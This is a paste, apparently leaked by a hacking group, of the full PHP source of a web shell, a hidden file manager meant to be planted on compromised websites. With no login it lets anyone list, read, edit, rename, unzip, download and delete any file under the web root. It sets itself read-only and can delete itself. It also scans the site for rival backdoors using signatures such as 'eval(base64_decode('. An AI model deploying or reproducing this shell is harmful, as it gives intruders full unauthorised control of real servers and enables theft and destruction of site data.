· 8 years ago · Mar 21, 2018, 05:18 PM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?php
4function DirFilesR($dir)
5 {
6 $handle = opendir($dir) or die("Can't open directory $dir");
7 $files = Array();
8 $subfiles = Array();
9 while (false !== ($file = readdir($handle)))
10 {
11 if ($file != "." && $file != "..")
12 {
13 if(is_dir($dir."/".$file))
14 {
15 $subfiles = DirFilesR($dir."/".$file);
16 $files = array_merge($files,$subfiles);
17 }
18 else
19 {
20 $files[] = $dir."/".$file;
21 }
22 }
23 }
24 closedir($handle);
25 return $files;
26 }
27
28if (isset($_GET['juke']))
29{
30 $arr_files = DirFilesR($_SERVER['DOCUMENT_ROOT']);
31
32 echo '<td><hr><hr>';
33 foreach ($arr_files as $key)
34 {
35 echo $key.';'.filesize($key)."<br>\n";
36 }
37 echo '<hr><hr></td>';
38
39 exit;
40}
41?>
42<html>
43<head>
44 <title><?php echo $_SERVER['SCRIPT_FILENAME'];?></title>
45 <style type="text/css">
46 INPUT[type="text"] {background-color: #fff8e7;} body{background: #fff8e7;color: #4c5866;font-family: Verdana;font-size: 11px;}
47 a:link{color: #33CC99;} a:visited{color: #33CC99;} a:hover{text-decoration: none;Color: #3399FF;}table {font-size: 11px;}
48 td {padding: 1px;padding-left: 10px;padding-right: 10px;padding-top: 2px;}
49 </style>
50</head>
51<body>
52<table cellpadding="5" width="80%">
53<?php
54$permsself = perms($_SERVER['SCRIPT_FILENAME'], '');
55if ($permsself !== '444')
56 chmod($_SERVER['SCRIPT_FILENAME'], 0444);
57
58function del_file($file)
59{
60 if(!file_exists($file))
61 return "file not exists";
62 else
63 {
64 if (!unlink($file))
65 {
66 if (!chmod($file, 0755))
67 return "no have permission for chmod!";
68 else
69 {
70 if (!unlink($file))
71 return "can not delete!";
72 else
73 return "ok!";
74 }
75 }
76 else
77 return "ok!";
78 }
79}
80
81if (isset($_GET['dispatch']))
82{
83 del_file($_SERVER['SCRIPT_FILENAME']);
84}
85if (!empty($_POST['for_del']))
86{
87 $real_path_for_del = array();
88 $all_for_del = $_POST['for_del'];
89
90 echo "<<info>>";
91 foreach ($all_for_del as $each)
92 {
93 $each = strstr($each, '/');
94 $each = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
95
96 $each_for_echo = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each);
97
98 if (file_exists($each))
99 {
100 del_file($each);
101 if (!file_exists($each))
102 echo $each_for_echo." - removed"."\n";
103 else
104 echo $each_for_echo." - not removed"."\n";
105 }
106 else
107 echo $each_for_echo." - not found"."\n";
108 }
109 echo "<</info>>";
110
111 exit;
112}
113function unzip_file($file)
114{
115 $for_del = strrchr($file, '/');
116 $folder_to_save = str_replace($for_del, '', $file);
117
118 //set_time_limit(0);
119 $zip = new ZipArchive;
120 $zip->open($file);
121 $zip->extractTo($folder_to_save);
122 $zip->close();
123 echo "<tr><td>File: $for_del - <font color=\"green\">unzip successfully</font></td></tr>";
124}
125
126function read_file($file_name) // $file_name - Ð¸Ð¼Ñ Ñ‚ÐµÐºÑÑ‚ дока, который надо прочитать. $arr_name - Ð¸Ð¼Ñ Ð¼Ð°ÑÑива, в который надо Ñохранить.
127{
128 $list = $file_name;
129 if (file_exists($file_name) and (filesize($file_name)>1))
130 {
131 $file = fopen($list,"rt");
132 $arr_file = explode("\n",fread($file,filesize($list)));
133 fclose($file);
134 return $arr_file;
135 }
136 else
137 {
138 $arr_file = array();
139 return $arr_file;
140 }
141}
142
143function clear_folder($dir)
144{
145 $d=opendir($dir);
146 while(($entry=readdir($d))!==false)
147 {
148 if ($entry != "." && $entry != "..")
149 {
150 if (is_dir($dir."/".$entry))
151 {
152 clear_folder($dir."/".$entry);
153 }
154 else
155 {
156 unlink ($dir."/".$entry);
157 }
158 }
159 }
160 closedir($d);
161 rmdir ($dir);
162}
163
164function only_read($file_name)
165{
166 if (file_exists($file_name) and (filesize($file_name)>1))
167 {
168 if (!$file = fopen($file_name,"rt"))
169 {
170 if (!chmod($file_name, 0775))
171 {
172 echo 'can\'t permission for chmod file<br>'; // не удалоÑÑŒ чмоднуть
173 $original_file = '';
174 }
175 else // чмоднули, пробуем еще раз открыть файл
176 {
177 if (!$file = fopen($file_name,"rt")) //
178 {
179 echo 'can\'t permission for open file<br>'; // не удалоÑÑŒ чмоднуть
180 $original_file = '';
181 }
182 else
183 {
184 $original_file = fread($file,filesize($file_name));
185 fclose($file);
186 }
187 }
188 }
189 else
190 {
191 $original_file = fread($file,filesize($file_name));
192 fclose($file);
193 }
194 }
195 return $original_file;
196}
197
198function findshells($start)
199{
200 global $arr_filename;
201 $files = array();
202 if (!$handle = opendir($start))
203 chmod($start, 0755);
204
205 $handle = opendir($start);
206
207 while(($file=readdir($handle))!==false)
208 {
209 if ($file!="." && $file !="..")
210 {
211 $startfile = $start."/".$file;
212 if (is_dir($startfile))
213 findshells($startfile);
214 else
215 {
216 $result = stristr($startfile, $_SERVER['SCRIPT_FILENAME']);
217
218 if ($result == false)
219 $arr_filename[] = $startfile;
220 }
221 }
222 }
223 closedir($handle);
224 return $arr_filename;
225}
226
227if (isset ($_GET['unzip']))
228{
229 unzip_file($_GET['unzip']);
230}
231
232if (isset ($_GET['finder']))
233{
234 $domain = $_SERVER['SERVER_NAME'];
235 $script_path = $_SERVER['SCRIPT_NAME'];
236 $finderdata_path = $_SERVER['DOCUMENT_ROOT']."/finderdata.txt";
237 $good_result_path = $_SERVER['DOCUMENT_ROOT']."/goodfinderdata.txt";;
238
239 //$search_str = '<title>W3LL M!N! SH3LL';
240 //$search_str = '$auth_path';
241 //$search_str = 'Dark Shell';
242 //$search_str = 'base64_decode(';
243 //$search_str = 'jRc56h7a';
244 //$search_str = "define('SHELL_PASSWORD";
245 //$search_str = 'fwrite(';
246
247 //$search_str = '$auth_path';
248 //$search_str2 = '$array = array(';
249 //$search_str3 = 'base64_decode';
250 //$search_str4 = 'Obfuscation provided by FOPO';
251 //$search_str5 = 'Dark Shell';
252
253 $search_str = 'eval(base64_decode(';
254 $search_str2 = 'Array(base64_decode(';
255 $search_str3 = '@$isbot';
256 $search_str4 = '@require';
257 $search_str5 = 'eval(gzuncompress(base64_decode(';
258 $search_str6 = '@include "\x2';
259 $search_str7 = '$OO';
260 $search_str8 = 'cache=00';
261 $search_str9 = 'file_get_contents(\"../index.php\")"';
262 $search_str10 = 'is_uploaded_file';
263 $search_str11 = 'base64_decode($_POST';
264 $search_str12 = 'eval(gzinflate(base64_decode(';
265
266 if (!file_exists($finderdata_path))
267 {
268 $arr_php_file = findshells($_SERVER['DOCUMENT_ROOT']);
269
270 $f = fopen ($finderdata_path, "a");
271 foreach ($arr_php_file as $each)
272 {
273 if ($each !== $_SERVER['SCRIPT_FILENAME'])
274 fwrite($f, $each."\n");
275 }
276 fclose($f);
277
278 if (file_exists($finderdata_path))
279 {
280 $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
281 $redirect = 'http://'.$redirect.'?finder';;
282 ?>
283 <script language = 'javascript'>
284 var delay = 300;
285 setTimeout("document.location.href='<?php echo $redirect;?>'", delay);
286 </script>
287 <?php
288 }
289 else
290 echo 'error: file finderdata.txt can not create';
291
292 }
293 else
294 {
295 $all_path = read_file($finderdata_path);
296 $urls_for_work = array ();
297
298 for ( $u=0; $u < 900; $u++ )
299 {
300 if (($all_path[$u] !== null) and ($all_path[$u] !== ' ') and ($all_path[$u] !== '') and ($all_path[$u] !== '.') and ($all_path[$u] !== '..'))
301 $urls_for_work[] = trim($all_path[$u]);
302 }
303
304 for ( $i=0; $i < 900; $i++ )
305 {
306 unset($all_path[$i]);
307 }
308
309 $fnew = fopen($finderdata_path, "w");
310 foreach ($all_path as $each_path)
311 {
312 if (($each_path !== null) and ($each_path !== '') and ($each_path !== ' '))
313 fwrite($fnew, $each_path."\n");
314 }
315 fclose($fnew);
316
317 foreach ($urls_for_work as $each_for_check)
318 {
319 if (file_exists($each_for_check))
320 {
321 if (((filesize($each_for_check)) < 5000000))
322 $each_read = only_read($each_for_check);
323 else
324 $each_read = '';
325
326 $result = stristr($each_read, $search_str);
327 $result2 = stristr($each_read, $search_str2);
328 $result3 = stristr($each_read, $search_str3);
329 $result4 = stristr($each_read, $search_str4);
330 $result5 = stristr($each_read, $search_str5);
331 $result6 = stristr($each_read, $search_str6);
332 $result7 = stristr($each_read, $search_str7);
333 $result8 = stristr($each_read, $search_str8);
334 $result9 = stristr($each_read, $search_str9);
335 $result10 = stristr($each_read, $search_str10);
336 $result11 = stristr($each_read, $search_str11);
337 $result12 = stristr($each_read, $search_str12);
338 if (($result !== false) or ($result2 !== false) or ($result3 !== false) or ($result4 !== false) or ($result5 !== false) or ($result6 !== false) or ($result7 !== false) or ($result8 !== false) or ($result9 !== false) or ($result10 !== false) or ($result11 !== false) or ($result12 !== false))
339 {
340 $f = fopen ($good_result_path, "a");
341 fwrite($f, $each_for_check."\n");
342 fclose($f);
343 }
344 }
345 }
346
347 if (count($all_path)>0)
348 echo count($all_path)." files for check<br>";
349 else
350 echo '<tr><td>Finish!</td></tr>';
351
352 $for_check = read_file($finderdata_path);
353 if (file_exists($finderdata_path) and (filesize($finderdata_path)>1))
354 {
355 $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
356 $redirect = 'http://'.$redirect.'?finder';;
357 ?>
358 <script language = 'javascript'>
359 var delay = 100;
360 setTimeout("document.location.href='<?php echo $redirect;?>'", delay);
361 </script>
362 <?php
363 }
364 else
365 {
366 $arr_result = read_file($good_result_path);
367
368 foreach ($arr_result as $each)
369 {
370 if (($each !== null) and ($each !== '') and ($each !== ' '))
371 {
372 if (isset ($_GET['dir']))
373 $dr = $_GET['dir'];
374 else
375 $dr = $_SERVER['DOCUMENT_ROOT'];
376
377
378 $time = get_time($each);
379
380 $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each);
381
382 echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$each&dir=$dr\"><font color=\"black\">$each</font></a>"."</td><td>".get_filesize($each)."</td><td>$time</td><td>".perms($each, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$each&dir=$dr\">U</a> "."<a href=\"http://$domain$script_path?edit=$each&dir=$dr\">E</a> "."<a target=\"_blank\" href=\"http://$real_url\">O</a> "."<a href=\"http://$domain$script_path?download=$each&dir=$dr\">D</a>"."</td></tr>";
383 }
384 }
385 if (file_exists($finderdata_path))
386 unlink($finderdata_path);
387
388 if (file_exists($good_result_path))
389 unlink($good_result_path);
390 }
391
392 // + 1. Открываем текÑÑ‚. док, берем только первые 100 Ñтрок, обращаемÑÑ Ðº каждому only_read($file)
393 // + 2. Ищем нужные нам Ñлова. ПерезапуÑкаем, выводим, Ñколько еще раундов впереди, ждем. Результаты (гуды) ÑохранÑем в отдельный файл
394 // + 3. Свой шелл иÑключать из выдачи поиÑка
395 // + 4. Выдача идет поÑтрочно, Ñ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾Ñтью файл удалить, отредактировать, удалить
396 // 5. ЕÑли Ñтроки кончилиÑÑŒ - выводим результаты чека (Ñ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾Ñтью открыть файл в браузере + открыть окно редактированиÑ)
397 // 6. УдалÑем вÑе файлы, еÑли вÑе удалилоÑÑŒ - выводим, что поиÑк завершен уÑпешно, иначе - пишем, что нужно удалить файл
398
399
400
401 }
402}
403if (isset ($_GET['download']))
404{
405 $file_for_save = $_GET['download'];
406
407 if (file_exists($file_for_save))
408 {
409 header('Content-Description: File Transfer');
410 header('Content-Type: application/octet-stream');
411 header('Content-Disposition: attachment; filename=' . basename($file_for_save));
412 header('Content-Transfer-Encoding: binary');
413 header('Expires: 0');
414 header('Cache-Control: must-revalidate');
415 header('Pragma: public');
416 header('Content-Length: ' . filesize($file_for_save));
417 readfile($_GET['download']);
418 exit;
419 }
420}
421?>
422<?php
423//set_time_limit (0);
424
425function get_filesize($file)
426{
427 if(!file_exists($file)) return "Файл не найден";
428 $filesize = filesize($file);
429 if($filesize > 1024)
430 {
431 $filesize = ($filesize/1024);
432 if($filesize > 1024)
433 {
434 $filesize = ($filesize/1024);
435 if($filesize > 1024)
436 {
437 $filesize = ($filesize/1024);
438 $filesize = round($filesize, 1);
439 return $filesize." gb";
440 }
441 else
442 {
443 $filesize = round($filesize, 1);
444 return $filesize." mb";
445 }
446 }
447 else
448 {
449 $filesize = round($filesize, 1);
450 return $filesize." kb";
451 }
452 }
453 else
454 {
455 $filesize = round($filesize, 1);
456 return $filesize." b";
457 }
458}
459
460function get_time($file)
461{
462 if(!file_exists($file)) return "no info";
463
464 $last_update = filemtime($file);
465 $time = date('Y-m-d H:i:s', $last_update);
466
467 return $time;
468}
469
470
471
472
473
474function perms($filename, $check)
475{
476 $perms = substr(decoct(fileperms($filename)), -3);
477 if ($perms == '644')
478 $color = 'green';
479 elseif ($perms == '755')
480 $color = '#2EC842';
481 elseif ($perms == '444')
482 $color = 'brown';
483 elseif ($perms == '000')
484 $color = 'red';
485 elseif ($perms == '744')
486 $color = 'orange';
487 elseif ($perms == '664')
488 $color = 'green';
489 else
490 $color = 'grey';
491 if ($check == 1)
492 return $perms;
493 else
494 return "<font color=$color>".$perms."</font>";
495}
496function CMS()
497{
498 if ((is_dir($_SERVER['DOCUMENT_ROOT'].'/administrator/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/components/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/includes/')))
499 return "Joomla!";
500 elseif ((is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-content/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-admin/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-includes/')))
501 return "WordPress";
502 else
503 return "Unknown";
504}
505function folder_separate($path)
506{
507 $pos_end = strripos($path, '/');
508 $path2 = substr_replace($path, '', $pos_end, 99999);
509
510 return $path2;
511}
512
513function side_bar($make_file)
514{
515 echo '<td align="right" colspan="2">';
516
517 ///// ПоиÑк файла
518 echo "<form action = '".$make_file."' method = 'POST'>";
519 echo "<input name=\"search_file\" size=\"7\" type=\"text\" placeholder=\".suspected\" />";
520 echo "<input type=\"submit\" value=\"ok\" /></form>";
521 ///// ПоиÑк файла
522
523 ///// Создание файла
524 echo "<form action = '".$make_file."' method = 'POST'>";
525 echo "<input name=\"new_file\" size=\"7\" type=\"text\" placeholder=\"make file\" />";
526 echo "<input type=\"submit\" value=\"ok\" /></form>";
527 ///// Создание файла
528
529 ///// Создание директории
530 echo "<form action = '".$make_file."' method = 'POST'>";
531 echo "<input name=\"new_dir\" size=\"7\" type=\"text\" placeholder=\"make dir\" />";
532 echo "<input type=\"submit\" value=\"ok\" /></form>";
533 ///// Создание директории
534 echo '</td></tr>';
535}
536
537if (isset($_GET['rename']))
538{
539 if (!empty($_POST ['n_name']))
540 {
541 if (rename($_GET['rename'], $_POST ['n_name']))
542 $message_rename = '<font color="green"><b>Name changed!</b></font>';
543 else
544 $message_rename = '<font color="red"><b>Name can not be changed</b></font>';
545
546 echo $message_rename;
547 }
548}
549
550function edit_file($file, $current)
551{
552 if (!empty($_POST['chm']))
553 {
554 if ($_POST['chm'] == '0755')
555 {
556 if (chmod($file, 0755))
557 $message_chmod = '<font color="green"><b>Permission changed!</b></font>';
558 else
559 $message_chmod = '<font color="red"><b>Unable change permission!</b></font>';
560
561 }
562 elseif ($_POST['chm'] == '0444')
563 {
564 if (chmod($file, 0444))
565 $message_chmod = '<font color="green"><b>Permission changed!</b></font>';
566 else
567 $message_chmod = '<font color="red"><b>Unable change permission!</b></font>';
568 }
569 else
570 $message_chmod = '0755<br>0444<br><br>';
571
572 echo $message_chmod;
573
574 }
575 if (empty($_POST['new']))
576 {
577 $pos_end = strripos($file, '/');
578 $dir = substr_replace($file, '', $pos_end, 99999);
579
580 if (file_exists($file) and (filesize($file)>1))
581 {
582 if (!$fp = fopen ($file, "r"))
583 {
584 echo 'no have permission<br>';
585 $file_cont = 'can\'t show';
586 }
587 else
588 {
589 $file_cont = fread ($fp, filesize ($file));
590 fclose ($fp);
591 }
592 }
593 else
594 $file_cont = '';
595
596 $file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
597 $file_cont = htmlspecialchars($file_cont);
598
599 echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
600 echo "File: ". $file . "<br>\n";
601 echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
602 echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
603
604 echo "<tr><td align=\"left\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
605 echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"".perms($file, '1')."\"/>";
606 echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
607
608 echo "<td colspan=\"3\" align=\"left\"><form action = 'http://".$current."?rename=".$file."&dir=".$dir."' method = 'POST'>\n";
609 echo "<input type=\"text\" name='n_name' size=\"72\" value=\"$file\">";
610 echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
611 }
612 else
613 {
614 if (!empty($_POST['new_remote']))
615 {
616 $file_cont = only_read($file);
617 $file_cont = $_POST['new'].$file_cont;
618
619 $fp = fopen ($file, "w");
620 if (fwrite ($fp, $file_cont))
621 $message = ' - <font color="green"><b>Edited!</b></font>';
622 else
623 $message = ' - <font color="red"><b>Unable to edit!</b></font>';
624 fclose ($fp);
625 }
626 else
627 {
628 $fp = fopen ($file, "w");
629 if (fwrite ($fp, $_POST ['new']))
630 $message = ' - <font color="green"><b>Edited!</b></font>';
631 else
632 $message = ' - <font color="red"><b>Unable to edit!</b></font>';
633 fclose ($fp);
634 }
635
636 $pos_end = strripos($file, '/');
637 $dir = substr_replace($file, '', $pos_end, 99999);
638
639 $fp = fopen ($file, "r");
640 $file_cont = fread ($fp, filesize ($file));
641 fclose ($fp);
642
643
644 //$file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
645 //echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
646 //echo "File: ". $file . $message . "<br>\n";
647 //echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
648 //echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
649
650 $file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
651
652 echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
653 echo "File: ". $file . $message . "<br>\n";
654 echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
655 echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
656
657 echo "<tr><td align=\"left\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
658 echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"".perms($file, '1')."\"/>";
659 echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
660
661 echo "<td colspan=\"3\" align=\"left\"><form action = 'http://".$current."?rename=".$file."&dir=".$dir."' method = 'POST'>\n";
662 echo "<input type=\"text\" name='n_name' size=\"72\" value=\"$file\">";
663 echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
664
665 if (chmod($file, 0444))
666 $message_chmod_last = '<font color="green"><b>Permission changed!</b></font>';
667 else
668 $message_chmod_last = '<font color="red"><b>Unable change permission!</b></font>';
669 }
670
671}
672
673if (isset ($_GET['del']))
674{
675 if (is_dir($_GET['del']))
676 clear_folder($_GET['del']);
677 else
678 del_file($_GET['del']);
679
680}
681
682$domain = $_SERVER['SERVER_NAME'];
683$script_path = $_SERVER['SCRIPT_NAME'];
684$arr_folder = array();
685$arr_filenames = array();
686
687
688?>
689 <tr align="left">
690 <td colspan="3">
691 CMS: <?php echo CMS();?><br>
692 Server IP: <?php echo $_SERVER['SERVER_ADDR'];?><br>
693 Root: <?php echo '<a href="'.'http://'.$domain.$script_path.'?dir='.$_SERVER['DOCUMENT_ROOT'].'">'.$_SERVER['DOCUMENT_ROOT'].'</a>'; ?>
694 <br><br>
695 Directory:
696 <?php
697 if (isset ($_GET['dir']))
698 $path = $_GET['dir'];
699 else
700 $path = $_SERVER['DOCUMENT_ROOT'];
701
702
703 $arr_path = explode("/", $path);
704 $slesh_count = count($arr_path)-1;
705
706 $arr_links = array();
707 $path_for_work = $path;
708
709 for ($i=1; $i <= $slesh_count; $i++)
710 {
711 $path_for_work = folder_separate($path_for_work);
712 $arr_links[] = $path_for_work;
713 }
714 for ($i=1; $i <= $slesh_count; $i++)
715 {
716 $k = $slesh_count - $i - 1;
717 if ($i !== $slesh_count)
718 echo '<a href="http://'.$domain.$script_path.'?dir='.$arr_links["$k"].'">'.$arr_path["$i"].'</a>/';
719 else
720 echo '<a href="http://'.$domain.$script_path.'?dir='.$path.'">'.$arr_path["$i"].'</a>';
721 }
722 ?>
723
724
725 </td>
726 <?php
727
728 if (isset ($_GET['dir']))
729 {
730 if (isset ($_POST['new_file_name']))
731 {
732 $new_file = $_GET['dir'] . '/' . $_POST['new_file_name'];
733 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $new_file;
734 }
735 else
736 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'];
737 }
738 else
739 {
740 if (isset ($_POST['new_file_name']))
741 {
742 $new_file = $_SERVER['DOCUMENT_ROOT']. '/' . $_POST['new_file_name'];
743 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $new_file;
744 }
745 else
746 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_SERVER['DOCUMENT_ROOT'];
747 }
748
749
750 ///////////////////////
751
752 if ((empty($_POST ['new_file'])) and (empty($_POST ['search_file'])) and (empty($_POST ['new_dir'])))
753 {
754 if (isset ($_GET['dir']))
755 $path = $_GET['dir'];
756 else
757 $path = $_SERVER['DOCUMENT_ROOT'];
758
759 $make_file = 'http://' . $domain . $script_path . '?dir=' . $path;
760
761 side_bar($make_file);
762 }
763 elseif (!empty($_POST ['new_file']))
764 {
765 if (isset ($_GET['dir']))
766 $path = $_GET['dir'].'/'.$_POST ['new_file'];
767 else
768 $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST ['new_file'];
769
770 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $path;
771
772 if ($fp = fopen ($path, "w"))
773 {
774 echo '<font color="green">File created successfully!</font>';
775 side_bar($make_file);
776 }
777 else
778 {
779 echo '<font color="red">Can not create!</font>';
780 side_bar($make_file);
781 }
782 fclose ($fp);
783 }
784 /////////////////////
785 elseif (!empty($_POST['new_dir']))
786 {
787 if (isset($_GET['dir']))
788 $path = $_GET['dir'].'/'.$_POST['new_dir'];
789 else
790 $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST['new_dir'];
791
792 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&new_dir=' . $path;
793
794 if ($fp = mkdir($path))
795 {
796 side_bar($make_file);
797 echo "<tr align=\"center\"><td align=\"left\" >"."<font color=\"green\">Folder created successfully!</font></td>"."<td></td><td></td><td></td><td></td></tr>";
798 }
799 else
800 {
801 side_bar($make_file);
802 echo "<tr align=\"center\"><td align=\"left\" >"."<font color=\"red\">Can not create folder!</font></td>"."<td></td><td></td><td></td><td></td></tr>";
803 }
804 }
805 ///////////////////////
806
807 ///////////////////////
808 elseif (!empty($_POST['search_file']))
809 {
810 $file_name_for_search = $_POST['search_file'];
811 $arr_all_filenames = findshells($_SERVER['DOCUMENT_ROOT']);
812
813 if (isset ($_GET['dir']))
814 $dr = $_GET['dir'];
815 else
816 $dr = $_SERVER['DOCUMENT_ROOT'];
817
818 side_bar($make_file);
819
820 foreach ($arr_all_filenames as $each_file_name)
821 {
822 $result = stristr($each_file_name, $file_name_for_search);
823 if ($result !== false)
824 {
825 $time = get_time($each_file_name);
826 $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each_file_name);
827 echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$each_file_name&dir=$dr\"><font color=\"black\">$each_file_name</font></a>"."</td><td>".get_filesize($each_file_name)."</td><td>$time</td><td>".perms($each_file_name, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$each_file_name&dir=$dr\">U</a> "."<a href=\"http://$domain$script_path?edit=$each_file_name&dir=$dr\">E</a> "."<a target=\"_blank\" href=\"http://$real_url\">O</a> "."<a href=\"http://$domain$script_path?download=$each_file_name&dir=$dr\">D</a>"."</td></tr>";
828 }
829 }
830 }
831 ///////////////////////
832
833
834 if (isset ($_GET['edit']))
835 {
836 $current = $domain.$script_path;
837 edit_file($_GET['edit'], $current);
838 }
839 ?>
840
841 <tr align="center" style="color: #423c63;"><td align="left"><b>Name</b></td><td><b>Size</b></td><td><b>Modify</b></td><td><b>Permissions</b></td><td><b>Actions</b></td></tr>
842
843 <?php
844
845 if (isset ($_GET['dir']))
846 {
847 $arr_files = scandir($_GET['dir']);
848 }
849 else
850 {
851 $arr_files = scandir($_SERVER['DOCUMENT_ROOT']);
852 }
853
854 foreach ($arr_files as $each)
855 {
856 $str_for_search = $each;
857 if (isset ($_GET['dir']))
858 $str_for_search = $_GET['dir'].'/'.$each;
859 else
860 $str_for_search = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
861
862 if (is_dir($str_for_search))
863 $arr_folder[] = $each;
864 else
865 $arr_filenames[] = $each;
866 }
867 $k = 0;
868 foreach ($arr_folder as $each)
869 {
870 if (($each !== '.') and ($each !== '..'))
871 {
872 if (isset ($_GET['dir']))
873 {
874 $p = $_GET['dir'].'/'.$each;
875 $next_dir = $_GET['dir'].'/'.$each;
876 }
877 else
878 {
879 $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
880 $next_dir = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
881 }
882
883 $path_for_unlink = $next_dir;
884 $for_del = strrchr($path_for_unlink, '/');
885 $path_for_unlink = str_replace($for_del, '', $path_for_unlink);
886
887 $time = get_time($p);
888
889 if ($k % 2 == 0)
890 $color_bg = '#fff8e7';
891 else
892 $color_bg = '#ffffe0';
893
894 echo "<tr bgcolor=\"$color_bg\" align=\"center\"><td align=\"left\" >"."<font color=\"#904d30\"><b><a href=\"http://$domain$script_path?dir=$next_dir\">$each</a></b></font>"."</td><td>dir</td><td>$time</td><td>".perms($p, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$p&dir=$path_for_unlink\">U</a> "."</td></tr>";
895 $k++;
896 }
897 }
898
899
900 foreach ($arr_filenames as $each)
901 {
902
903 if (isset ($_GET['dir']))
904 {
905 $p = $_GET['dir'].'/'.$each;
906 $dr = $_GET['dir'];
907 }
908
909 else
910 {
911 $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
912 $dr = $_SERVER['DOCUMENT_ROOT'];
913 }
914 $time = get_time($p);
915
916 $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $p);
917
918 if ($k % 2 == 0)
919 $color_bg = '#fff8e7';
920 else
921 $color_bg = '#ffffe0';
922
923 $per = stristr($each, '.zip');
924 if ($per !== false)
925 $per = "<a href=\"http://$domain$script_path?unzip=$p&dir=$dr\">Z</a> ";
926 else
927 $per = "<a href=\"http://$domain$script_path?edit=$p&dir=$dr\">E</a> ";
928
929 echo "<tr bgcolor=\"$color_bg\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$p&dir=$dr\"><font color=\"black\">$each</font></a>"."</td><td>".get_filesize($p)."</td><td>$time</td><td>".perms($p, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$p&dir=$dr\">U</a> ".$per."<a target=\"_blank\" href=\"http://$real_url\">O</a> "."<a href=\"http://$domain$script_path?download=$p&dir=$dr\">D</a>"."</td></tr>";
930
931 $k++;
932 }
933?>
934</table>